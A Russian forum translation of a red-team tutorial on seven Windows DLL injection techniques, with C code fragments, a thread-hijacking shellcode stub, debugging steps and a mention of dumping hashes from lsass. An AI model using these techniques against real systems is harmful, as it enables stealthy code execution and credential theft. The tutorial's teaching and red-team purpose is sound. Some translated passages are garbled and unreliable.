R0 CREW

Inject All The Things

Оригинал: deniable.org

Итак, сейчас 2017 и я пишу о DLL инъекциях. Могло быть хуже. DLL инъекция – это техника используемая легитимным ПО для добавления/расширение функциональности других программ, а также отладки или реверс-инжиниринга. Данная техника широко используется разнообразными вредоносными программами. Из этого следует, что с точки зрения безопасности, необходимо понимать, как работают DLL инъекции.

Я написал большую часть кода в небольшом проекте, названном ‘injectAllTheThings’, когда разрабатывал специализированные инструменты для Red Team (для эмуляции различных типов атак хакеров). Если вы хотите посмотреть примеры, как злоумышленники используют DLL инъекции, можете кликнуть сюда. Вы можете найти этот проект полезным, если захотите узнать больше о DLL инъекциях. В интернете вы можете найти много чепухи, когда ищете различную информацию или примеры кода на данную тему, и мой код не может быть лучше. Я не программист - я просто взламываю код, когда мне это нужно. В любом случае, я собрал один личный проект в Visual Studio для разного рода DLL инъекций (7 разных приемов, работающих под 32 и 64 битные системы), проект очень простой для чтения и понимания. Некоторые друзья проявили интерес к данному коду, возможно, вам тоже будет интересно. Каждый представленный прием имеет свой исходных файл.

Ниже представлен вывод инструмента, со всеми возможными опциями и возможностями:

@SubTee считает DLL инъекции зашкварными.Я согласен с ним, однако DLL инъекции выходят за рамки простой загрузки DLL.

Вы можете загружать библиотеки DLL с подписанными бинарными файлами Microsoft, но вы не можете внедрить их в процесс, для изменения его в памяти.

Основная причина, почему пентестеры не знают о том, что в действительности из себя представляет DLL-инъекция или то, как она работает, заключается в том, что они были сильно испорчены Metasploit’ом. Они все время используют его бездумно (не вникая в детали)… Лучшим местом для изучения различных приемов манипуляции с памятью являются игровые хакерские форумы.

Если вы входите в Red Team, не исключено, что вам придется вникнуть в материалы этой статьи, в случае если вас не удовлетворяет запуск чужих программ, написанных неизвестно кем и как.

Чаще всего мы в Red Team начинаем атаки с использования очень сложных методов и, если удается остаться нераспознанными, начинаем снижать уровень сложности. Это базовый подход, когда мы начинаем скидывать бинарники на диск и ‘играть’ с DLL инъекциями.

Данный пост пытается доступно и полно объяснить DLL инъекции и в тоже время он служит ‘документацией’ для проекта на GitHub.

Введение

DLL-инъекция – это по сути процесс вставки/инъекции кода в запущенный процесс. Код, который мы вставляем, представляет из себя динамически подключаемую библиотеку (DLL). Почему? Библиотеки DLL должны быть загружены во время выполнения процесса (как общие библиотеки в UNIX). В этом проекте используются исключительно библиотеки DLL, однако мы можем инжектить код во многие другие формы (любой PE файл, шеллкод/ассемблерный код и т.д., что часто встречается в вредоносных программах).

Кроме того, имейте ввиду, что у вас должен быть необходимый уровень полномочий, чтоб иметь возможность работать с памятью процесса. Однако в этой статье я не буду говорить о защищенных процессах и уровнях привилегий Windows (введено с Windows Vista). Это совершенно другая тема.

Опять же, DLL инъекции могут использоваться в легитимных процессах. Например, в антивирусах или в системах защиты конечных устройств используют этот метод для размещения своего программного кода во всех запущенных процессах в системе. Это позволяет им лучше контролировать каждый запущенный процесс и лучше защищать вас. Но также это может использоваться в злонамеренных целях. Одна из общих, часто используемых техник, заключается в инъекции кода в процесс “lsass” для получения хешей паролей. Очевидно, что вредоносные программы широко используют подобные методы инжектирования кода, либо для запуска шеллкода или PE-файла, либо для загрузки DLL-библиотеки в память другого процесса, чтобы скрыть себя среди других.

Основы

Мы будем использовать Windows API для каждого метода, так как он предлагает большое количество функционала для подключения и манипуляции другими процессами. Библиотеки DLL были краеугольным камнем в Windows с первой версии операционной системы. По сути, все функции в Windows API содержатся в DLL библиотеках. Самые важные - это ‘Kernel32.dll’ (отвечающая за управление памятью, потоками и процессами), ‘User32.dll’ (отвечающая за функции юзер-интерфейса), ‘GDI32.dll’ (отвечающая за отрисовку линий и кривых, отображение шрифтов и обработку палитры).

Это вызывает удивление, почему такие API существуют, почему Microsoft дает такой хороший функционал для манипуляций с другими процессами памяти? Главная причина - расширение возможностей приложений. Например, компания создает приложение и хочет чтобы другие компании создавали дополнения и расширения. Так что да, у таких манипуляций есть легитимная идея использования. Кроме того, DLL библиотеки полезны для управления проектами, памятью, распределением ресурсов и так далее.

На представленной диаграмме проиллюстрирован процесс почти каждой методики DLL инъекции.

Как вы можете видеть, DLL инъекция происходит в 4 шага:

  1. Присоединиться к целевому/удаленному процессу.
  2. Выделить память внутри целевого/удаленного процесса.
  3. Скопировать путь (path) к DLL или её содержимое в память выбранного процесса.
  4. Проинструктировать процесс выполнить запуск DLL.

Каждый представленный шаг будет выполнен вызовом определенных функций API. Каждой технике необходимо задать определенные параметры. Я могу сказать, что каждая техника имеет свои положительные и отрицательные стороны.

Техники

Мы имеем несколько вариантов опций для указания процесса выполнения нашей DLL. Самые распространенные из них - ‘CreateRemoteThread()’ и ‘NtCreateThreadEx()’. Однако невозможно передать DLL в качестве параметра функции. Мы должны указать адрес памяти, в которой хранится точка старта для выполнения. Для этого нам надо выделить область памяти, загрузить нашу DLL с помощью ‘LoadLibrary()’, скопировать память и так далее.

Я назвал проект ‘injectAllTheThings’ (потому что я ненавижу термин ‘injector’, плюс слишком много сомнительных проектов с названием ‘injectors’ на GitHub, и я не могу перестать об этом думать), включающий 7 разнообразных техник. Я не автор придуманных методов. В данном инструменте я просто собрал и оформил 7 методов (но существуют также другие). Некоторые из них хорошо документированы, например ‘CreateRemoteThread()’, другие не имеют документации по API, как ‘CreateRemoteThread()’. Вот полный список методов, работающих как на 32-х, так и для 64-х разрядных системах:

  • CreateRemoteThread()
  • NtCreateThreadEx()
  • QueueUserAPC
  • SetWindowsHookEx()
  • RtlCreateUserThread()
  • Code cave via SetThreadContext()
  • Reflective DLL

Возможно, вы знаете эти методы под другими именами. Это не полный список методов DLL инъекций. Возможно, будут добавлены другие методы, если мне придется с ними столкнуться. Некоторые из представленных методов стабильны, некоторые не очень. Не исключено, что нестабильность методов обусловлена моим кодом.

LoadLibrary()

Как указано в MSDN, функция ‘LoadLibrary()’ “загружает специальные модули в адресное пространство и вызывает процесс. Указанный модуль может загружать другие загруженные модули”.

HMODULE WINAPI LoadLibrary(
  _In_ LPCTSTR lpFileName
);
lpFileName [in]
 
Наименование модуля. Это может быть  либо библиотечный модуль (.dll файл), либо исполняемый модуль (.exe файл) (...)

Если в строке указан полный путь, функция будет искать модуль только по указанному пути. 

Если в строке указан относительный путь или модуль без указания пути, функция использует стандартную стратегию для поиска модуля (...)

Если функция не может найти модуль, функция не выполняется. При указании пути обязательно используйте обратную косую черту (\), а не косую черту (/) (...)

Если строка задает имя модуля без пути и расширение файла отсутствует, функция добавляет расширение бибилотки по умолчание .dll к имени модуля (...) 

Другими словами, она принимает имя файла в качестве единственного параметра и все работает. То есть необходимо выделить только некоторую память под путь нашей DLL и установить начальную точку выполнения адресованную функции ‘LoadLibrary()’, передав в адрес памяти путь, как основной параметр.

Как вы поняли (или нет), наибольшая проблема здесь заключается в том что в ‘LoadLibrary()’ регистрируется загрузка DLL вместе с программой. Это означает, что это можно легко задетектить, но удивительно, что многие средства защиты конечных точек все еще не справляются с этим. Во всяком случае, я уже говорил, что DLL инъекции могут быть легитимными, стоит обратить внимание, что если DLL уже была загружена в ‘LoadLibrary()’, то это не сработает снова. Это можно было обойти, но я это не делал ни для одного из методов. Отраженная DLL инъекция (Reflective DLL injection) – техника, в которой нет проблем с повторным выполнением, потому что DLL не регистрируется. Отраженная DLL инъекция используется вместо ‘LoadLibrary()’, полную загрузку DLL в память. Затем определяется точка входа. Это можно назвать более скрытым методом, при вашем желании. Специалисты занимающиеся форензикой все равно найдут вашу DLL в памяти, но им будет сложнее это сделать. Metasploit использует это повсеместно, но большинство решений для конечных точек пользуется этим.

Если настроены на поиск подобных вещей, или вы играете за команду защитников, посмотрите сюда и сюда. Как примечание: если вы реально боретесь с вашими средствами защиты конечных точек (а они реально справляются со своей задачей), вместо этого вы можете попытаться поиграть с какими-нибудь анти-мошенническими движками (обратите внимание – я просто пытаюсь быть забавным, если вы этого еще не поняли).

Не исключено, что анти-руткит некоторых анти-мошеннических игр более продвинуты, чем антивирусы. Есть очень классное интервью Nick Cano, автора книги “Game Hacking”, на reddit, которые вы должны прочесть. Просто посмотрите что он делает, чтоб понять.

Присоединиться к целевому или удаленному процессу

Для начала нам нужно получить дескриптор процесса, с которым мы хотим взаимодействовать. Для этого мы будем использовать процесс ‘OpenProcess()’ для вызова API.

HANDLE WINAPI OpenProcess(
  _In_ DWORD dwDesiredAccess,
  _In_ BOOL  bInheritHandle,
  _In_ DWORD dwProcessId
);

Если вы прочитали документацию по MSDN вы можете понять, необходимость запроса определенных прав доступа. Полный список прав доступа вы можете посмотреть здесь. Они могут различаться в различных версиях Windows. Следующие используются практически во всех методах:

HANDLE hProcess = OpenProcess(
    PROCESS_QUERY_INFORMATION |
    PROCESS_CREATE_THREAD |
    PROCESS_VM_OPERATION |
    PROCESS_VM_WRITE,
    FALSE, dwProcessId);

Выделить память в целевом/удаленном процессе

Для выделения памяти, в которую мы поместим путь к DLL, используем ‘VirtualAllocEx()’. Как указано в MSDN, ‘VirtualAllocEx()’ резервирует, фиксирует или изменяет состояние области памяти в виртуальном адресном пространстве для определенного процесса.

Функция инициализирует память, затем возвращает значение 0.

LPVOID WINAPI VirtualAllocEx(
  _In_     HANDLE hProcess,
  _In_opt_ LPVOID lpAddress,
  _In_     SIZE_T dwSize,
  _In_     DWORD  flAllocationType,
  _In_     DWORD  flProtect
);

В основном делается что-то вроде этого:

// calculate the number of bytes needed for the DLL's pathname
DWORD dwSize = (lstrlenW(pszLibFile) + 1) * sizeof(wchar_t);
 
// allocate space in the target/remote process for the pathname
LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);

Или вы можете быть немного умнее и использовать ‘GetFullPathName()’ . Однако этот API не используется во всем проекте. Это вопрос предпочтения. Если вы хотите выделить все место в памяти под DLL, вы сделаете что-то подобное:

hFile = CreateFileW(pszLibFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
 
dwSize, = GetFileSize(hFile, NULL);
 
PVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);

Скопировать путь (path) к DLL или её содержимое в память выбранного процесса

Теперь осталось просто скопировать путь вашей DLL или ее содержимое в целевой или удаленный процесс с использованием вызова ‘WriteProcessMemory()’.

BOOL WINAPI WriteProcessMemory(
  _In_  HANDLE  hProcess,
  _In_  LPVOID  lpBaseAddress,
  _In_  LPCVOID lpBuffer,
  _In_  SIZE_T  nSize,
  _Out_ SIZE_T  *lpNumberOfBytesWritten
);

Получится нечто такое:

DWORD n = WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL);

Если мы хотим за инъектить все содержимое DLL, как это сделано в рефлексивной DLL инъекции (Reflective DLL injection), нам понадобится чуть больше кода, так как нам нужно будет прочитать её в память, прежде чем мы её скопируем в целевой или удаленный процесс.

lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwLength);

ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL);

WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL);

Как я упоминал ранее, используя метод Reflective DLL injection и копируя DLL в память, DLL не будет зарегистрирована в процессе.

Это немного сложная методика, потому что нам надо получить точку входа в DLL при ее загрузке в память. Функция LoadRemoteLibraryR(), которая является частью проекта Reflective DLL, делает это за нас. Посмотрите на исходники, если хотите.

Стоит уточнить, что DLL необходимо скомпилировать с соответствующими функциями и параметрами, чтобы она соответствовала методу ReflectiveDLLInjection. Проект «injectAllTheThings» включает DLL “rdll_32.dll / rdll_64.dll”, с которой вы можете поэкспериментировать.

Проинструктировать процесс выполнить запуск DLL

CreateRemoteThread()

Можно сказать, что ‘CreateRemoteThread()’ - классическая и самая популярная техника DLL инъекций. Также она отлично документирована.

Техника состоит из нескольких шагов:

  • Открытие целевого процесса с помощью OpenProcess()
  • Поиск адреса в LoadLibrary() с помощью GetProcAddress()
  • Резервирование памяти для DLL в целевом или удаленном адресном пространстве процесса с помощью VirtualAllocEx()
  • Запись DLL в зарезервированную память с помощью WriteProcessMemory()
  • С помощью CreateRemoteThread() создается нить нового потока, который вызовет функцию LoadLibrary() с именем DLL

Если вы взглянете на документацию MSDN по ‘CreateRemoteThread()’, вы можете увидеть, что нам необходимо указать на определенную приложением функцию вида LPTHREAD_START_ROUTINE для выполнения потоком и представления начальной точки потока в удаленном процессе.

Это означает, чтобы выполнить DLL, нужно проинструктировать наш процесс выполнить это. Звучит просто. Ниже приведены шаги описанные выше:

HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwProcessId);
 
// Allocate space in the remote process for the pathname
LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
 
// Copy the DLL's pathname to the remote process address space
DWORD n = WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL);
 
// Get the real address of LoadLibraryW in Kernel32.dll
PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
 
// Create a remote thread that calls LoadLibraryW(DLLPathname)
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, pszLibFileRemote, 0, NULL);

Полный исходный код смотри в ‘t_CreateRemoteThread.cpp’.

NtCreateThreadEx()

Другой вариант - использовать ‘NtCreateThreadEx()’. Это недокументированная функция «ntdll.dll», и она может исчезнуть или измениться в будущем. Этот метод немного сложнее для реализации, нам необходима структура (см. ниже) передачи и получения данных.

struct NtCreateThreadExBuffer {
  ULONG Size;
  ULONG Unknown1;
  ULONG Unknown2;
  PULONG Unknown3;
  ULONG Unknown4;
  ULONG Unknown5;
  ULONG Unknown6;
  PULONG Unknown7;
  ULONG Unknown8;
};

Есть хорошее объяснение этого вызова. Настройка очень близка к тому, что мы делаем c ‘CreateRemoteThread()’. Однако вместо вызова ‘CreateRemoteThread()’, мы делаем что-то подобное:

PTHREAD_START_ROUTINE ntCreateThreadExAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateThreadEx");
 
LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx)ntCreateThreadExAddr;
 
NTSTATUS status = funNtCreateThreadEx(
  &hRemoteThread,
  0x1FFFFF,
  NULL,
  hProcess,
  pfnThreadRtn,
  (LPVOID)pszLibFileRemote,
  FALSE,
  NULL,
  NULL,
  NULL,
  NULL
  );

Полный исходный код смотри ‘t_NtCreateThreadEx.cpp’.

QueueUserAPC()

Альтернатива предыдущим методам - вызов ‘QueueUserAPC()’, который не является новым потоком в целевом или удаленном процессе.

Как указано в MSDN, этот вызов «добавляет объект асинхронной процедуры (APC) пользовательского режима в очередь APC указанного потока».

Вот определение.

DWORD WINAPI QueueUserAPC(
  _In_ PAPCFUNC  pfnAPC,
  _In_ HANDLE    hThread,
  _In_ ULONG_PTR dwData
);

pfnAPC [in] Указатель на целевую функцию APC, которая будет вызываться, когда указанный поток находится в состоянии блокировки. (...)

hThread [in] Дескриптор процесса. Дескриптор должен иметь право доступа THREAD_SET_CONTEXT. (...)

dwData [in] Единственное значение, которое передается функции APC, на которую указывает параметр pfnAPC.

Итак, если мы не хотим создавать собственный поток, мы можем использовать ‘QueueUserAPC()’ для «захвата» существующего потока в целевом или удаленном процессе. То есть, вызов этой функции вызовет асинхронный вызов процедуры в указанном потоке.

APC вместо функции LoadLibrary(): на самом деле параметр может указывать на имя библиотеки DLL, которую мы хотим ввести.

DWORD dwResult = QueueUserAPC ((PAPCFUNC) pfnThreadRtn, hThread, (ULONG_PTR) pszLibFileRemote);

Это немного похоже на то, что вы можете заметить, если вы попробуете эту технику, которая связана с Windows, выполняет APC. Нет планировщика, смотрящего на очередь APC, что означает, что очередь проверяется только тогда, когда поток переходит в сигнальное состояние.

В связи с этим мы может захватить каждый поток, см. Ниже.

BOOL bResult = Thread32First(hSnapshot, &threadEntry);
  while (bResult)
  {
    bResult = Thread32Next(hSnapshot, &threadEntry);
    if (bResult)
    {
      if (threadEntry.th32OwnerProcessID == dwProcessId)
      {
        threadId = threadEntry.th32ThreadID;
 
        wprintf(TEXT("[+] Using thread: %i\n"), threadId);
        HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, threadId);
        if (hThread == NULL)
          wprintf(TEXT("[-] Error: Can't open thread. Continuing to try other threads...\n"));
        else
        {
          DWORD dwResult = QueueUserAPC((PAPCFUNC)pfnThreadRtn, hThread, (ULONG_PTR)pszLibFileRemote);
          if (!dwResult)
            wprintf(TEXT("[-] Error: Couldn't call QueueUserAPC on thread> Continuing to try othrt threads...\n"));
          else
            wprintf(TEXT("[+] Success: DLL injected via CreateRemoteThread().\n"));
          CloseHandle(hThread);
        }
      }
    }
  }

Мы ожидаем, что один поток станет заблокированным.

Как примечание, приятно видеть, что этот метод используется DOUBLEPULSAR. Полный код см. в ‘t_QueueUserAPC.cpp’.

SetWindowsHookEx()

Для того, чтобы использовать этот метод, первое, что нам нужно, чтобы понять, как в Windows работают хуки. В основном, хуки - это способ перехватить события и действовать в них.

Как вы можете догадаться, существует много разных типов хуков. Наиболее распространенными могут быть WH_KEYBOARD и WH_MOUSE. Вы догадались, что их можно использовать для контроля, ввода клавиатуры и мыши.

SetWindowsHookEx()’ «устанавливает в приложении процедуру хука в цепочку хуков».

HHOOK WINAPI SetWindowsHookEx(
  _In_ int       idHook,
  _In_ HOOKPROC  lpfn,
  _In_ HINSTANCE hMod,
  _In_ DWORD     dwThreadId
);

idHook [in]
 
    Type: int
    The type of hook procedure to be installed. (...)
 
lpfn [in]
 
    Type: HOOKPROC
    A pointer to the hook procedure. (...)

hMod [in]
 
    Type: HINSTANCE
    A handle to the DLL containing the hook procedure pointed to by the lpfn parameter. (...)

dwThreadId [in]
 
    Type: DWORD
    The identifier of the thread with which the hook procedure is to be associated. (...)

Интересное замечание в MSDN:

«SetWindowsHookEx может использоваться, чтобы получить DLL в другой процесс. 32-разрядная DLL не может быть внедрена в 64-разрядный процесс, а 64-разрядная DLL не может быть внедрена в 32-разрядный процесс. Если для приложения требуется использование перехватов в других процессах, требуется, чтобы 32-разрядное приложение вызывало SetWindowsHookEx для вставки 32-разрядной DLL в 32-битные процессы и 64-разрядного вызова приложения SetWindowsHookEx для ввода 64-разрядной DLL в 64-битные процессы. 32-битные и 64-разрядные библиотеки должны иметь разные имена».

Имейте это в виду. Вот простой пример реализации.

GetWindowThreadProcessId(targetWnd, &dwProcessId);
 
HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, threadID);

Нам нужно понять, что все будет цепочкой хуков, которая представляет собой серию процедур, которые будут выполняться в событии. Настройка ‘SetWindowsHookExe ()’ - это в основном то, что мы делаем для нашей собственной процедуры хука в цепочке хуков. Вышеприведенный код принимает в хук (WH_KEYBOARD) указатель на процедуру, дескриптор DLL с помощью процедуры и идентификатор потока, чтобы связать hook.DLL, используя вызов LoadLibrary (). Затем мы вызываем ‘SetWindowsHookEx()’ и ждем необходимого нам события (в нашем случае нажимаем клавишу). Как только это событие произойдет, наша DLL будет выполнена. Обратите внимание, что даже ребята из ЦРУ, не исключено, что с удовольствием используют ‘SetWindowsHookEx()’, как мы можем видеть на Wikileaks.

Полный код см. в ‘t_SetWindowsHookEx.cpp’.

RtlCreateUserThread()

‘RtlCreateUserThread()’ - это недокументированный вызов API. Его настройка почти такая же, как ‘CreateRemoteThread()’, а затем как ‘NtCreateThreadEx ()’.

На самом деле, ‘RtlCreateUserThread()’ вызывает ‘NtCreateThreadEx()’, это означает, что ‘RtlCreateUserThread()’ является оболочкой для ‘NtCreateThreadEx()’. Итак, ничего нового здесь нет. Однако мы можем просто использовать ‘RtlCreateUserThread()’ вместо ‘NtCreateThreadEx()’. Даже если последующие изменения, наш ‘RtlCreateUserThread ()’ должен по-прежнему работать.

Как вы, возможно, знаете, среди прочих, mimikatz и Metasploit используют ‘RtlCreateUserThread()’. Если вам интересно, посмотрите здесь и здесь.

Итак, если mimikatz и Metasploit используют ‘RtlCreateUserThread()’ … и да, эти парни знают свое дело … следуйте их «советам», используйте ‘RtlCreateUserThread()’. Особенно, если вы планируете сделать что-то более серьезное, чем простое использование ‘injectAllTheThings’.

Полный код см. в ‘t_RtlCreateUserThread.cpp’.

SetThreadContext()

Это на самом деле очень классный метод. Специально созданный код вводится в целевой или удаленный процесс, выделяя кусок памяти в целевом или удаленном процессе. Этот код отвечает за DLL.

Вот код для 32-битной системы.

0x68, 0xCC, 0xCC, 0xCC, 0xCC,   // push 0xDEADBEEF (placeholder for return address)
0x9c,                           // pushfd (save flags and registers)
0x60,                           // pushad
0x68, 0xCC, 0xCC, 0xCC, 0xCC,   // push 0xDEADBEEF (placeholder for DLL path name)
0xb8, 0xCC, 0xCC, 0xCC, 0xCC,   // mov eax, 0xDEADBEEF (placeholder for LoadLibrary)
0xff, 0xd0,                     // call eax (call LoadLibrary)
0x61,                           // popad (restore flags and registers)
0x9d,                           // popfd
0xc3                            // ret

Для 64-битных я не смог реально найти работающий код, и я, вроде, написал сам. см. ниже.

0x50,                                                       // push rax (save rax)
0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, 0CCCCCCCCCCCCCCCCh (placeholder for return address)
0x9c,                                                       // pushfq
0x51,                                                       // push rcx
0x52,                                                       // push rdx
0x53,                                                       // push rbx
0x55,                                                       // push rbp
0x56,                                                       // push rsi
0x57,                                                       // push rdi
0x41, 0x50,                                                 // push r8
0x41, 0x51,                                                 // push r9
0x41, 0x52,                                                 // push r10
0x41, 0x53,                                                 // push r11
0x41, 0x54,                                                 // push r12
0x41, 0x55,                                                 // push r13
0x41, 0x56,                                                 // push r14
0x41, 0x57,                                                 // push r15
0x68,0xef,0xbe,0xad,0xde,                                   // fastcall convention
0x48, 0xB9, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rcx, 0CCCCCCCCCCCCCCCCh (placeholder for DLL path name)
0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, 0CCCCCCCCCCCCCCCCh (placeholder for LoadLibrary)
0xFF, 0xD0,                                                 // call rax (call LoadLibrary)
0x58,                                                       // pop dummy
0x41, 0x5F,                                                 // pop r15
0x41, 0x5E,                                                 // pop r14
0x41, 0x5D,                                                 // pop r13
0x41, 0x5C,                                                 // pop r12
0x41, 0x5B,                                                 // pop r11
0x41, 0x5A,                                                 // pop r10
0x41, 0x59,                                                 // pop r9
0x41, 0x58,                                                 // pop r8
0x5F,                                                       // pop rdi
0x5E,                                                       // pop rsi
0x5D,                                                       // pop rbp
0x5B,                                                       // pop rbx
0x5A,                                                       // pop rdx
0x59,                                                       // pop rcx
0x9D,                                                       // popfq
0x58,                                                       // pop rax
0xC3                                                        // ret

Прежде чем вводить этот код в целевой процесс, некоторые плейсхолдеры должны быть заполнены / исправлены:

  • Адрес возврата (где поток должен возобновляться, после выполнения кода)
  • Имя пути к DLL
  • Адрес LoadLibrary()

И вот после этого вы захватываете, приостанавливаете, инжектируете и возобновляете поток.

Нам нужно сначала подключиться к целевому или удаленному процессу и выделить память для целевого или удаленного процесса. Обратите внимание, что нам необходимо выделить память с привилегиями чтения и записи для хранения имени пути DLL и хранения нашей сборки кода, что будет загружать DLL.

LPVOID lpDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 
stub = VirtualAllocEx(hProcess, NULL, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

Затем нам нужно перейти в контекст одного из потоков, запущенных в целевом или удаленном процессе (тот, который будет введен с нашим кодом сборки).

Чтобы найти поток, мы используем функцию ‘getThreadID ()’, вы можете найти ее в файле ‘secondary.cpp’.
Как только у нас есть идентификатор потока, нам нужно установить контекст потока.

hThread = OpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), false, threadID);

Затем нам нужно приостановить поток, чтобы зафиксировать его контекст. Контекст потока - это состояние его регистров. Мы особенно заинтересованы в EIP / RIP (если хотите, вызовите оператор IP-указателя). Так как поток приостановлен, мы можем изменить значение EIP / RIP и заставить его продолжить выполнение по другому пути (наш код падает).

ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(hThread, &ctx);
DWORD64 oldIP = ctx.Rip;
 
ctx.Rip = (DWORD64)stub;
ctx.ContextFlags = CONTEXT_CONTROL;
 
WriteProcessMemory(hProcess, (void *)stub, &sc, stubLen, NULL); // write code cave
 
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);

Итак, мы приостанавливаем поток, мы фиксируем контекст и извлекаем EIP / RIP. Это сохраняется, чтобы возобновить выполнение наших инъекций кода. Новый EIP / RIP инжектируется нашим участком кода.Затем мы исправляем все плейсхоледры с обратным адресом, адресом имени пути к DLL и адресом LoadLibrary (). Как только поток начнет выполняться, мы сможем проверить его и вернуться к нему. Если вы хотите дебаг этой техники, вот как это сделать. Запустите приложение, которое вы хотите ввести, скажем, «notepad.exe». Запустите ‘injectAllTheThings_64.exe’ с ‘x64dbg’, как показано ниже.

Используйте следующую команду (адаптируйте к своей среде):

"C:\Users\rui\Documents\Visual Studio 2013\Projects\injectAllTheThings\bin\injectAllTheThings_64.exe" -t 6 notepad.exe "c:\Users\rui\Documents\Visual Studio 2013\Projects\injectAllTheThings\bin\dllmain_64.dll"

Поставьте брейкпоинт при вызове ‘WriteProcessMemory()’ как показано ниже.

Запустите его и, когда брейкпоинт отработает, обратите внимание на адрес памяти в регистре RDX. Если вы спрашиваете себя, почему RDX, то самое время прочитать соглашения о вызове для архитектуры x64. Получайте удовольствие и вернитесь, как только закончите.

Пропустите блок (F8) вызова ‘WriteProcessMemory()’, запустите другой экземпляр x64dbg и присоедините его к «notepad.exe». Перейдите к копированию адреса до (в RDX), нажав ‘Ctrl + G’, и вы увидите нашу сборку кода, как показано ниже.

Круто, да! Теперь установите брейкпоинт в начале этого шеллкода. Перейдите в отлаженный процесс «injectAllTheThings» и запустите его. Как вы можете видеть ниже, наш брейкпоинт просматривается, и теперь мы можем перейти на выполнение кода для удовольствия и наслаждаться работой этого кусочка кода.

Как только мы вызываем функцию LoadLibrary (), мы загружаем нашу DLL.

Это восхитительно…

Наш Шеллкод вернется к ранее сохраненной RIP и ‘notepad.exe’ и продолжит исполнение.

Полный код см. в ‘t_suspendInjectResume.cpp’.

Reflective (рефлексивная DLL инъекция)DLL injection

Я также включил код Стивена Фьюера (первооткрыватель этой техники) в этот проект «injectAllTheThings», и я также создал рефлексивную DLL, которая будет использоваться с этой техникой. Обратите внимание, что DLL, которую мы инжектируем, должна быть скомпилирована с соответствующими включениями и параметрами, поэтому она выравнивается с методом рефлексивной DLL инъекции.

Рефлексивная DLL инъекция работает, копируя всю DLL в память, поэтому она позволяет избежать регистрации DLL в процессе.

Вся трудная работа уже сделан для нас. Чтобы получить точку входа в нашу DLL, когда она загружена в память, нам нужно использовать только код Стивена Фьюера. Функция LoadRemoteLibraryR(), включенная в его проект, делает это для нас.

Мы используем ‘GetReflectiveLoaderOffset()’, чтобы определить относительный адрес в памяти процессов, затем мы используем относительный адрес плюс базовый адрес памяти в целевом или удаленном процессе (где мы написали DLL) в качестве отправной точки выполнения. Слишком сложно? Да, возможно. Вот основные 4 шага для достижения этого.

  1. Запись заголовков DLL в память
  2. Запись каждого раздела в память (путем разбора таблицы разделов)
  3. Проверьте импорт и загрузку любых других импортированных DLL
  4. Вызовите входную точку DllMain

Этот метод предлагает отличный уровень скрытности по сравнению с другими методами и широко используется в Metasploit.

Если вы хотите узнать больше, просто зайдите в официальный репозиторий GitHub. Кроме того, не забудьте прочитать статью Стивена Фьюера об этом здесь.

Также обратите внимание на загрузку DLL из памяти от Joachim Bauch, автора MemoryModule и на этот пост о загрузке Win32 / 64 DLL «вручную» без LoadLibrary().

Код

Есть еще несколько непонятных и сложных методов инъекций. Так что со временем проект ‘injectAllTheThings’ будет обновляться. Методы из самых интересных, что были опубликованы за последнее время:

Все описанные методы выше используются в проекте выложенном на GitHub. Он также включает в себя все необходимые DLL библиотеки. По представленной ниже таблице легко можно понять реализацию и как этим пользоваться.

Разумеется, чтоб быть в безопасности, используйте injectAllTheThings_32.exe для инжектирования в 32-битные процессы, и injectAllTheThings_64.exe для инжектирования в 64-битные процессы соответственно. Хотя вы можете использовать injectAllTheThings_64.exe для инжектирования в 32-битные процессы. Возможно придется позже реализовать отдельно для WoW64 to 64 bits, который является функционалом ‘smart_migrate’ в Metaspoit. Посмотрите здесь.

Код проекта с включенными DLL библиотеками лежит на GitHub. Скомпелированно под 32 и 64 разрядные системы, с и без дебагинга, приятного времяпрепровождения!

Ссылки

© Translated by turbobarsuchiha special for r0 Crew

Тут немного потерялся первоначальный смысл, поток становится не “заблокированным”, а в сигнальном состоянии.

Техники CreateRemoteThread(), NtCreateThreadEx(), RtlCreateUserThread() по сути одно и тоже, не ясно зачем автор это разделил. Если обобщить, то в большинстве случаев inject сводится к следующим системным вызовам:

  • NtCreateThread - использовался до Vista, сохранён для обратной совместимости
  • NtCreateThreadEx - используется сейчас для создания локального\удалённого потока
  • NtQueueApcThread - использовался в QueueUserAPC до win7, сохранён для обратной совместимости
  • NtQueueApcThreadEx - используется в 7 и выше
  • NtSetContextThread - используется в SetThreadContext
